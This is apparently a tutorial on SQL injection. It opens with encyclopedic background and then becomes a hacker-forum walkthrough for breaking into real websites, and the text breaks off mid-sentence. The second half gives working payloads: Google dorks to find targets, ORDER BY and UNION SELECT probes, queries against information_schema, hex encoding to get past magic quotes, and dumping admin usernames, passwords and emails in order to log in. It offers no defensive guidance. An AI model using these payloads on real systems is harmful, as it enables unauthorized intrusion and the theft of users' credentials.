SQL Injection

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.

            SQL injection (SQLI) is considered one of the top 10 web application vulnerabilities of 2007 and 2010 by the Open Web Application Security Project.In 2013, SQLI was rated the number one attack on the OWASP top ten. The five main sub-classes of SQL injection:

• Classic SQLI
• Blind or Inference SQL injection
• Database management system-specific SQLI
• Compounded SQLI

·         SQL injection + insufficient authentication

·         SQL injection + DDoS attacks

·         SQL injection + DNS hijacking

·         SQL injection + XSS

  Technical implementations

Incorrectly filtered escape characters

            This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end-user of the application.

The following line of code illustrates this vulnerability:

statement = "SELECT * FROM users WHERE name ='" + userName + "';"

 

This SQL code is designed to pull up the records of the specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as:

' OR '1'='1

or using comments to even block the rest of the query (there are three types of SQL comments). All three lines have a space at the end:

 

' OR '1'='1' --

' OR '1'='1' ({

' OR '1'='1' /* 

renders one of the following SQL statements by the parent language:

SELECT * FROM users WHERE name = '' OR '1'='1';

SELECT * FROM users WHERE name = '' OR '1'='1' -- ';

If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of '1'='1' is always true.

The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "userinfo" table (in essence revealing the information of every user), using an API that allows multiple statements:

 

a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't

This input renders the final SQL statement as follows and specified:

SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';

While most SQL server implementations allow multiple statements to be executed with one call in this way, some SQL APIs such as PHP's mysql_query() function do not allow this for security reasons. This prevents attackers from injecting entirely separate queries, but doesn't stop them from modifying queries.

Incorrect type handling

This form of SQL injection occurs when a user-supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:

statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"

It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to

      1;DROP TABLE users

will drop (delete) the "users" table from the database, since the SQL becomes:

SELECT * FROM userinfo WHERE id=1;DROP TABLE users;

Blind SQL injection

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established. 

Conditional responses

One type of blind SQL injection forces the database to evaluate a logical statement on an ordinary application screen. As an example, a book review website uses a query string to determine which book review to display. So the URL

 http://show.example.com/showReview.php?ID=5 

would cause the server to run the query

SELECT * FROM showreviews WHERE ID = 'Value(ID)';

from which it would populate the review page with data from the review with ID 5, stored in the table showreviews. The query happens completely on the server; the user does not know the names of the database, table, or fields, nor does the user know the query string. The user only sees that the above URL returns a book review. A hacker can load the URLs 

http://show.example.com/showReview.php?ID=5 OR 1=1 and 

http://show.example.com/showReview.php?ID=5 AND 1=2, 

which may result in queries

SELECT * FROM showreviews WHERE ID = '5' OR '1'='1';

SELECT * FROM showreviews WHERE ID = '5' AND '1'='2';

respectively. If the original review loads with the "1=1" URL and a blank or error page is returned from the "1=2" URL, and the returned page has not been created to alert the user the input is invalid, or in other words, has been caught by an input test script, the site is likely vulnerable to a SQL injection attack as the query will likely have passed through successfully in both cases. The hacker may proceed with this query string designed to reveal the version number of MySQL running on the server: 

http://show.example.com/showReview.php?ID=5 AND substring(@@version,1,1)=4,

 which would show the book review on a server running MySQL 4 and a blank or error page otherwise. The hacker can continue to use code within query strings to glean more information from the server until another avenue of attack is discovered or his or her goals are achieved. 

Second Order SQL Injection

Second order SQL injection occurs when submitted values contain malicious commands that are stored rather than executed immediately. In some cases, the application may correctly encode a SQL statement and store it as valid SQL. Then, another part of that application without controls to protect against SQL injection might execute that stored SQL statement. This attack requires more knowledge of how submitted values are later used. Automated web application security scanners would not easily detect this type of SQL injection and may need to be manually instructed where to check for evidence that it is being attempted. 

Lets look on a website environment

Part One - Website Assessment

In order for us to start exploiting a website we must first know exactly what we are injecting into. This is what we will be covering in Part One along with how to assess the information that we gather.

Finding a vulnerable website

Vulnerable websites can be found using dorks (I will include a list at the end of this tutorial), either in Google or with an exploit scanner. If you are unfamiliar with the term "dorks",

Dorks are website URLs that are possibly vulnerable. In SQL injection these dorks look like this:

Code:

inurl:page.php?id=

This will be inputted into Google's search bar and because of the "inurl:" part of the dork, the search engine will return results with URLs that contain the same characters. Some of the sites that have this dork on their website may be vulnerable to SQL injection.

Now let's say we found the page:

Code:

http://www.thevulnerablesite.com/page.php?id=1

In order to test this site all we need to do is add a ' either in between the "=" sign and the "1" or after the "1" so it looks like this:

Code:

http://www.thevulnerablesite.com/page.php?id=1'

or

http://www.thevulnerablesite.com/page.php?id='1

After pressing enter, if this website returns an error such as the following:

Code:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home1/michafj0/public_html/gallery.php on line 5

Or something similar, this means it's vulnerable to injection.

Determining the amount of columns

If we want to use commands and get results we must know how many columns there are on a website.

To find the number of columns we write a query with incrementing values until we get an error, like this:

Code:

http://www.thevulnerablesite.com/page.php?id=1 ORDER BY 1--
http://www.thevulnerablesite.com/page.php?id=1 ORDER BY 2--
http://www.thevulnerablesite.com/page.php?id=1 ORDER BY 3--
http://www.thevulnerablesite.com/page.php?id=1 ORDER BY 4--
http://www.thevulnerablesite.com/page.php?id=1 ORDER BY 5-- 

 
This means that there are four columns!

DON'T FORGET TO INCLUDE THE DOUBLE NULL (--) AFTER THE QUERY.

VERY IMPORTANT!

Finding which columns are vulnerable

So we know that there are four columns now we have to find out which ones are vulnerable to injection. To do this we will use the UNION and SELECT queries while keeping the double null (--) at the end of the string.

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,2,3,4--

Don't forget to put the extra null(-) in between the "=" sign and the value (the number).

page.php?id=-1

Now after entering that query you should be able to see some numbers somewhere on the page that seem out of place. Those are the numbers of the columns that are vulnerable to injection. We can use those columns to pull information from the database which we will see in Part Two.

Part Two - Gathering Information

In this part we will discover how to find the name of the database and what version of SQL the website is using by using queries to exploit the site.

Determining the SQL version.

Finding the version of the SQL of the website is a very important step because the steps you take for version 4 are quite different from version 5 in order to get what you want. In this tutorial, I will not be covering version 4.

If we look back to the end of Part One we saw how to find the vulnerable columns. Using that information we can put together our next query (I will be using column 2 as an example). The command should look like this:

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,@@version,3,4--

Because 2 is the vulnerable column, this is where we will place "@@version". Another string that could replace "@@version" is "version()".

If the website still does not display the version try using unhex(hex()) which looks like this:

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,unhex(hex(@@version)),3,4--

NOTE: If this method is used here, it must be used for the rest of the injection as well.

Now what you want to see is something along these lines:

Code:

5.1.44-community-log

Which is the version of the SQL for the website.

NOTE: If you see version 4 and you would like to have a go at it, there are other tutorials that explain how to inject into it.

Finding the database

To find the database we use a query like the one below:

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,group_concat(schema_name),3,4 from information_schema.schemata--

This could sometimes return more results than necessary and so that is when we switch over to this query instead:

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,concat(database()),3,4--

You now have the name of the database! Congratulations. Copy and paste the name somewhere safe, we'll need it for later.

Part Three - The Good Part

This is the fun part where we will find the usernames, emails and passwords!

Finding the table names

To find the table names we use a query that is similar to the one used for finding the database with a little bit extra added on:

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--

It may look long and confusing but once you understand it, it really isn't so. What this query does is it "groups" (group_concat) the "table names" (table_name) together and gathers that information "from" (FROM) information_schema.tables where the "table schema" (table_schema) can be found in the "database" (database()).

NOTE: While using group_concat you will only be able to see 1024 characters worth of tables so if you notice that a table is cut off on the end switch over to limit which I will explain now.

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1--

What this does is it shows the first and only the first table. So if we were to run out of characters on let's say the 31st table we could use this query:

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() LIMIT 30,1--

Notice how my limit was 30,1 instead of 31,1? This is because when using limit is starts from 0,1 which means that the 30th is actually the 31st Tongue

You now have all the table names!

Finding the column names

Now that you have all of the table names try and pick out the one that you think would contain the juicy information. Usually they're tables like User(s), Admin(s),

tblUser(s) and so on but it varies between sites.

After deciding which table you think contains the information, use this query (in my example, I'll be using the table name "Admin"):

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name="Admin"--

This will either give you a list of all the columns within the table or give you an error but don't panic if it is outcome #2! All this means is that Magic Quotes is turned on. This can be bypassed by using a hex or char converter (they both work) to convert the normal text into char or hex.


4. Copy the string of numbers/letters under Hex into your query so it looks like this:

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name=0x41646d696e--

Notice how before I pasted the hex I added a "0x", all this does is tells the server that the following characters are part of a hex string.

You should now see a list of all the columns within the table such as username, password, and email.

NOTE: Using the limit function does work with columns as well.

Displaying the column contents

We're almost done! All we have left to do is to see what's inside those columns and use the information to login! To view the columns we need to decide which ones we want to see and then use this query (in this example I want to view the columns "username", "password", and "email", and my database name will be "db123"). This is where the database name comes in handy:

Code:

http://www.thevulnerablesite.com/page.php?id=-1 UNION SELECT 1,group_concat(username,0x3a,password,0x3a,email),3,4 FROM db123.Admin--

In this query, 0x3a is the hex value of a colon ( which will group the username:password:email for the individual users just like that.

FINALLY! Now you have the login information for the users of the site, including the admin. All you have to do now is find the admin login page which brings us to Section Four.

Finding the admin page

Usually the admin page will be directly off of the site's home page, here are some examples:

Code:

http://www.thevulnerablesite.com/admin

http://www.thevulnerablesite.com/adminlogin

http://www.thevulnerablesite.com/modlogin

http://www.thevulnerablesite.com/moderator

Once again there are programs that will find the page for you but first try some of the basic guesses, it might save you a couple of clicks. If you do use a program